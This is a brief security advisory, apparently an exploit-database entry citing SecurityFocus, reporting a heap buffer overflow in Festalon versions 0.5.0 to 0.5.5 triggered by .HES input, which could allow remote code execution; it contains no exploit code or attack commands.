Festalon 0.5 - .HES Remote Heap Buffer Overflow

                                        
                                            // source: https://www.securityfocus.com/bid/19402/info

A buffer-overflow vulnerability occurs in the Festalon application because the software fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

This issue may allow attackers to execute arbitrary machine code in the context of the affected application, which may facilitate the remote compromise of affected computers.

Festalon versions 0.5.0 through 0.5.5 are vulnerable to this issue.
